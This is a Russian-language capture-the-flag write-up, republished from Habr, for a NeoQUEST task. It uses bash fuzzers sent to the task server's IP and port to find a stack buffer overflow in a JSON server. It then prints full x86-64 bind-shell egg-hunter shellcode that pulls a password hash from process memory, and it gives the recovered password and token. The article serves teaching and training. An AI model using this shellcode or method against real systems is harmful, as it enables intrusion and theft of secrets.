- PVSM.RU - https://www.pvsm.ru -
Для поиска уязвимостей все средства хороши, а чем хорош фаззинг [1]? Ответ прост: тем, что он дает возможность проверить, как себя поведёт программа, получившая на вход заведомо некорректные (а зачастую и вообще случайные) данные, которые не всегда входят во множество тестов разработчика.
Некорректное завершение работы программы в ходе фаззинга позволяет сделать предположение о наличии уязвимости.
В этой статье мы:
Разбирать будем на примере исходных данных задания прошлого NeoQUEST [3]. Известно, что 64-хбитный Linux-сервер обрабатывает запросы в формате JSON, которые заканчиваются нуль-терминатором [4] (символом с кодом 0). Для получения ключа требуется отправить запрос с верным паролем, при этом доступа к исходным кодам и к бинарнику серверного процесса нет, даны только IP-адрес и порт. В легенде к заданию также было указано, что MD5-хеш правильного пароля содержится где-то в памяти процесса после следующих 5 символов: «hash:». А для того, чтобы вытащить пароль из памяти процесса, необходима возможность удалённого исполнения кода.
Пробуем соединение по указанному адресу и порту. Для этого пользуемся широко известной утилитой netcat [5]– «швейцарским ножом» для работы с сетью. Не забываем про завершающий нуль-терминатор в запросе:
По характеру получаемого ответа понимаем, какой вход ожидает серверный процесс. Он действительно обрабатывает голые JSON-запросы без заголовков и иных посторонних символов. Уточним, какие JSON-запросы сервер считает допустимыми с точки зрения синтаксиса:
Судя по этим ответам сервера, он распознает в качестве значений целые числа, но не распознает булевы значения.
Эти ответы сервера говорят о том, что он распознает в качестве значений непустые массивы.
Сервер распознает вложенные друг в друга ассоциативные массивы и обычные массивы, но, опять же, непустые.
В случае, если формат запроса корректно распознан, сервер проверяет наличие тега «pass» в главном ассоциативном массиве:
Если такой тег есть, проверяется его значение и, по-видимому, его хеш сверяется со значением в памяти.
Как получить корректное значение пароля? Можно попробовать простой перебор поля с паролем в запросах. Впрочем, результатов такая примитивная атака не дала.
Что ж, попробуем поискать в обработчике запросов уязвимость, эксплуатация которой позволит выполнить необходимый шеллкод и получить хеш пароля.
Единственный источник информации – ответы сервера на наши запросы. В отсутствии бинарного кода и исходников используем фаззинг. Более подробно про сам подход к тестированию читаем тут [6] и там [7], и узнаем, что есть два основных метода фаззинга:
Генерировать можно случайные данные (такой подход часто называют dumb-фаззинг) или входные данные, сформированные в соответствии с моделями (smart-фаззинг). Мутация обеспечивает видоизменение существующих входных данных.
Будем использовать генерацию данных и перебирать все потенциально узкие места JSON-формата, чтобы найти такие входные запросы, при которых ответ сервера отличается от обычного.
Проверку проведем в несколько этапов:
Служебные символы — скобки, запятые, двоеточие, разделители (пробелы). Благодаря этому, в разных местах будет нарушаться структура корректного запроса. Пример такого фаззера:
#!/bin/bash
#correct query
base='{"example" : {"innerobj" : "someval"}, "example" : 777777777, "example" : [1, [2, {"inlist" : "val"}], 3], "end" : "543"}'
ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'
if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'
#what we must replace in correct base query
declare -a checkable_syms=('[' ']' '{' '}' ' ' ':' ',')
#bad substitution symbols to replace with
declare -a arr=(" " "]" "{" "[[" "}}" ":" "," "A" "1" ";")
echo "Fuzzing maintenance symbols.."
for symbol in "${checkable_syms[@]}"
do
#how manu occurencies of symbol in base string?
num=$(($(echo $base | awk "BEGIN{FS="[$symbol]"} {print NF}") - 1))
#check every position of symbol
for i in $(seq 1 $num)
do
#trying all of the "bad" substitutions
for bad_sym in "${arr[@]}"
do
#dont bring
if [[ "$bad_sym" != "$symbol" ]]; then
#constructing the query to server
resp=`echo -e "$basex00" | sed "s/[$symbol]/$bad_sym/$i" | nc 213.170.91.86 8887`
#checking the answer, if not standart, something happened
[[ (("$resp" =~ "$if1" && "$resp" =~ "$if2")) || (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
fi
done
done
done
Результатов такая проверка не дала. Значит, будем проверять другие случаи.
Пример фаззера для проверки:
#!/bin/bash
#how many nested objects
N=1024
base='"{"example" : "'
final='"{"innerobj" : "someval"}"'
ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'
if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'
echo "Fuzzing nested objects.."
for i in $(seq 1 $N)
do
#constructing the query to server with nested object
que="$base*$i + $final + "}"*$i + "x00""
pyt="print($que);"
resp=`python -c "$pyt" | nc 213.170.91.86 8887`
#checking the answer, if not standart, something happened
[[ (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
Done
Опять сервер корректно обрабатывает все запросы. Аналогично проверяются списки большой вложенности. Их сервер также корректно обрабатывает. Будем проверять дальше!
Проверим длинные строки в ключах и значениях, объекты с большим количеством пар ключ-значение, длинные списки.
#!/bin/bash
#how many nested objects
N=2048
base1='{"example'
letter='A'
final1='": "example"}'
base2='{"example" : "example'
final2='"}'
ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'
if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'
flag=0
echo "Fuzzing long strings.."
for i in $(seq 1 $N)
do
#checking long string key or value
if [[ "$flag" == 0 ]]; then
base=$base1
final=$final1
flag=1
else
base=$base2
final=$final2
flag=0
fi
que=""$base" + ("$letter")*$i + "$final" + "x00""
pyt="print($que);"
resp=`python -c "$pyt" | nc 213.170.91.86 8887`
#checking the answer, if not standart, something happened
[[ (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
done
Как видим, длинные строки обрабатываются нормально. Длинные списки тоже. А как насчет длинных объектов?
Пример фаззера:
#!/bin/bash
#how many pairs in resulting object
N=260
head='{'
block='"example" : "val", '
final='"last" : "block"}'
ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'
if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'
echo "Fuzzing long objects.."
for i in $(seq 1 $N)
do
#constructing long object
que=""$head" + ("$block")*$i + "$final" + "x00""
pyt="print($que);"
resp=`python -c "$pyt" | nc 213.170.91.86 8887`
#checking the answer, if not standart, something happened
[[ (("$resp" =~ "$if1" && "$resp" =~ "$if2")) || (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
done
Вот оно! При достаточно длинном объекте ответ сервера неполный – пользователю не выдается exit code. Это начинает происходить, когда объект содержит больше 257 пар «ключ-значение». Если сделать их количество еще больше, мы увидим, что ответ вообще не приходит:
Судя по всему, перед нами классическое переполнение буфера. Пары «ключ-значение» при разборе входного запроса помещаются в константный буфер на стеке без предварительной проверки их количества в запросе.
При этом, если число пар лежит в диапазоне от 257 до 281, перетирается адрес возврата из функции-обработчика запроса, а если их больше 281, вероятно, перетираются какие-то локальные переменные за адресом возврата. Это приводит к тому, что до пользователя не доходит и первая часть сообщения об ошибке.
Уязвимость найдена!
Чтобы выполнить задание и получить заветный токен, необходимо понять, чем перетирается адрес возврата. Логично предположить, что на стек последовательно складываются не сами строки (ключи и значения объекта в запросе), а указатели на них. Если это так, можно не беспокоиться о размещении шеллкода в памяти и передаче на него управления. ASLR [8]также в таком случае перестает быть помехой.
Сильно испортить жизнь нам может DEP [9], ведь память под строки выделяется в куче. Но не будем торопиться с выводами и проверим наши идеи на практике. Для этого возьмем какой-нибудь проверочный шеллкод под нашу платформу с целью понять, исполняема ли память в куче у процесса сервера?
Для этого возьмем обыкновенный bindshell на порт 4444 отсюда [10]:
Поскольку у нас нет сведений о точном размере буфера, о наличии прочих локальных переменных, выравнивании памяти на стеке и т.д., необходимо размещать шеллкод немного с запасом. Разместим его в четырёх значениях у пар после 256, им предшествующих:
Ура, все работает! Память с шеллкодом исполняема, и адрес возврата из функции-обработчика запросов перезаписывается указателем на строку с шеллкодом автоматически. У нас появился удаленный шелл на сервере. Попробуем развить успех и получить доступ к бинарному коду JSON-обработчика:
Увы, недостаточно прав, чтобы сделать что-либо стоящее. Похоже, что бинарник серверного обработчика зашифрован, и без этого пароля не получить доступ к бинарному коду.
Отчаиваться рано. Вспомним, что в данном случае наша цель – не бинарник как таковой, а значение в памяти процесса /neoquest/vuln.
Зная, что файл бинарника зашифрован, и что bindshell замещает текущий процесс сервера в памяти процессом bash, пойдём другим путем. Напишем свой egg hunt шеллкод [11], который найдет в памяти процесса нужное значение по известному префиксу («hash:») и выдаст его пользователю.
Вариант нашего шеллкода (длинного!) под спойлером:
xor eax,eax
xor ebx,ebx
xor edx,edx
;socket create syscall
mov al,0x1
mov esi,eax
inc al
mov edi,eax
mov dl,0x6
mov al,0x29
syscall
;store the server sock
xchg ebx,eax
;bind on port 4444 syscall
xor rax,rax
push rax
push 0x5c110102
mov [rsp+1],al
mov rsi,rsp
mov dl,0x10
mov edi,ebx
mov al,0x31
syscall
;listen syscall
mov al,0x5
mov esi,eax
mov edi,ebx
mov al,0x32
syscall
;accept connection syscall
xor edx,edx
xor esi,esi
mov edi,ebx
mov al,0x2b
syscall
;store socket
mov edi,eax
;dup2 syscalls - for printing result to client
xor rax,rax
mov esi,eax
mov al,0x21
syscall
inc al
mov esi,eax
mov al,0x21
syscall
inc al
mov esi,eax
mov al,0x21
syscall
;egg hunter
xor rsi, rsi ; Some prep junk.
xor rdi, rdi
xor rbx, rbx
add bl, 5
go_end_of_page:
or di, 0x0fff ; We align with a page size of 0x1000
next_byte:
mov cx, di
cmp cl, 0xff
; next byte offset
jne cmps
inc rdi
push 21
pop rax ; We load access() in RAX
; push rdx
; pop rdi
mov rdx, rdi
add rdi, rbx ; We need to be sure our 5 byte egg check does not span across 2 pages
syscall ; syscall to access()
cmp al, 0xf2 ; Checks for EFAULT. EFAULT indicates bad page access.
je go_end_of_page
jmp cmps2
cmps:
inc rdi
cmps2:
cmp [rdi - 4] , dword 0x3a687361 ;ash: letters
jne next_byte
cmp [rdi - 5] , dword 0x68736168 ;hash letters
jne next_byte
after:
;printf 32 byte of MD5-hash
xor rax, rax
add rax, 1
mov rsi, rdi
xor rdi, rdi
add rdi, 1
xor rdx, rdx
mov dl, 0x20 ; Size of
syscall
;exit syscall
xor rax, rax
add rax, 0x3b
xor rdi, rdi
syscall
Что делает этот шеллкод:
Шеллкод написали, теперь протестируем наше решение:
Сработало! При подключении на 4444 порт мы видим искомые 32 символа хеша пароля. Осталось получить пароль. Воспользуемся Google:
Искомый пароль: ABAB865A15B15538D81C066574449597. Осталось получить заветный токен:
Искомый токен: 795944475660c18d83551b51a568baba
Большое разнообразие возможных точек входа (текстовая строка, вводимая посредством GUI, бинарные данные из файла, значение поля сетевого запроса) и тестируемых приложений (можно фаззить файлы, протоколы, драйверы, веб-приложения, исходники...) делает фаззинг довольно эффективным подходом к поиску проблем безопасности программного кода.
В данной статье мы продемонстрировали довольно простой пример фаззинга, в котором мутация генерируемых тестовых данных была сведена к минимуму, однако современные фаззеры (Peach [12], Sulley [13], HotFuzz [14] и другие ) обладают гораздо более богатым функционалом, реализуя множество алгоритмов мутации.
Тем не менее, у подхода к тестированию методом фаззинга есть и вполне очевидный недостаток: поскольку фаззер не обладает знаниями о внутренней структуре тестируемой программы, для поиска проблем безопасности придется перебрать огромное количество вариантов тестовых данных. А это, в свою очередь, требует значительных временных затрат.
Тренируясь в прохождении заданий NeoQUEST, всегда можно узнать что-то новое и понять, как на практике работают те или иные механизмы безопасности. В данной статье мы рассказали, что такое фаззинг, продемонстрировали, как можно обнаружить уязвимость переполнения буфера данным методом, и написали шеллкод для найденной уязвимости на Ассемблере. При этом, мы исполнили свой код, не имея даже бинарника уязвимой программы. Это — наглядная демонстрация того, что может быть, если сервер плохо реализован.
В заданиях NeoQUEST-2017, который пройдет с 1 по 10 марта, несомненно, тоже будет чему научиться, поэтому смело регистрируйтесь [15]!
Автор: НеоБИТ
Источник [16]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/vulnerability/244100
Ссылки в тексте:
[1] фаззинг: http://www.vr-online.ru/?q=content/fuzzing-tehnologija-ohoty-za-bagami-752
[2] JSON: http://www.json.org/json-ru.html
[3] NeoQUEST: http://neoquest.ru/timeline.php?year=2017&part=1
[4] нуль-терминатором: https://ru.wikipedia.org/wiki/%D0%9D%D1%83%D0%BB%D1%8C-%D1%82%D0%B5%D1%80%D0%BC%D0%B8%D0%BD%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%B0%D1%8F_%D1%81%D1%82%D1%80%D0%BE%D0%BA%D0%B0
[5] netcat : http://handynotes.ru/2010/01/unix-utility-netcat.html
[6] тут: http://www.slideshare.net/VLDCORP/fuzz
[7] там: https://xakep.ru/2011/05/30/55559/
[8] ASLR : https://en.wikipedia.org/wiki/Address_space_layout_randomization
[9] DEP: https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B5%D0%B4%D0%BE%D1%82%D0%B2%D1%80%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2%D1%8B%D0%BF%D0%BE%D0%BB%D0%BD%D0%B5%D0%BD%D0%B8%D1%8F_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85
[10] отсюда: http://shell-storm.org/
[11] egg hunt шеллкод: https://xakep.ru/2011/01/12/54471/
[12] Peach: http://www.peachfuzzer.com/
[13] Sulley: https://github.com/OpenRCE/sulley
[14] HotFuzz: http://hotfuzz.sourceforge.net/
[15] регистрируйтесь: https://2017.neoquest.ru/
[16] Источник: https://habrahabr.ru/post/321912/?utm_source=habrahabr&utm_medium=rss&utm_campaign=best
Нажмите здесь для печати.